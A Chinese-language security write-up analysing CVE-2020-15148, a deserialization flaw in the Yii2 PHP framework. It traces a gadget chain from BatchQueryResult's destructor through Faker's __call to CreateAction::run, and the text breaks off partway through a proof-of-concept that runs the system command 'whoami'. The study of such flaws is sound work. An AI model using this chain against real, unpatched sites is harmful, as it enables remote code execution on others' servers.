前言
漏洞存在版本<2.0.38
CVE-2020-15148
框架搭建
直接去github下载,修改好cookie的key,然后就可以访问/web了
漏洞分析
先看github里作者的提交
可以发现在 framework/db/BatchQueryResult.php 里面添加了_wakeup方法
我们就直奔这里去看了
yii2.0.37/vendor/yiisoft/yii2/db/BatchQueryResult.php
看到这里的__distruct()入口方法
会进去reset方法,但是进去可能就close了,但是这个_dataReader是可以控制的,到时候我们构造poc的时候可以添加析构方法为他赋值!这里$this->_dataReader
就可以触发一个__call方法
全局搜一下__call方法,发现这个类里面有妙处
/vendor/fzaninotto/faker/src/Faker/Generator.php
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
/**
* @param string $formatter
*
* @return Callable
*/
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formtters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
可以发现,__call进去,就直接进format了,而format里面就会直接执行call_user_func_array,跟进一下他的参数
先跟进一下getFormatter,发现这里返回的是formatters,这个参数是我们可控的!
但是另一个$attributes
就不可控了,这里是可以执行一些无参数的函数,但是如果只是调用php原生的那肯定做不了什么事情,我们需要调用yii框架里面自带的无参数方法看看有没有能进一步利用的
继续全局搜索,看看有没有那个无参数方法里面调用了call_user_func
这里是用的正则去搜索,这个正则折腾了好久
function \w*\(\)\n? *\{(.*\n)+ *call_user_func
大概意思就是 function 开头,接着是一段字符接上()后换行,并只匹配0或1次,这里就表示无参数的函数了,但是我们可以更狠一点,直接搜索无参数方法中有call_user_func
的,那么就继续加上* \{
匹配前面的表达式0次或多次后加上大括号,然后在call_user_func
前面多次匹配上一堆除了换行之外的字符后加上换行:(.*\n)+ *
,最后加上call_user_func
这样就很精准的匹配到无参数方法中有call_user_func
函数的方法了
这里找到了一个,简直不要太好打
/vendor/yiisoft/yii2/rest/CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
此处省略
}
checkAccess和id都是我们可控的!那么这条链子就打通了,我们构造一下poc
POC1
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}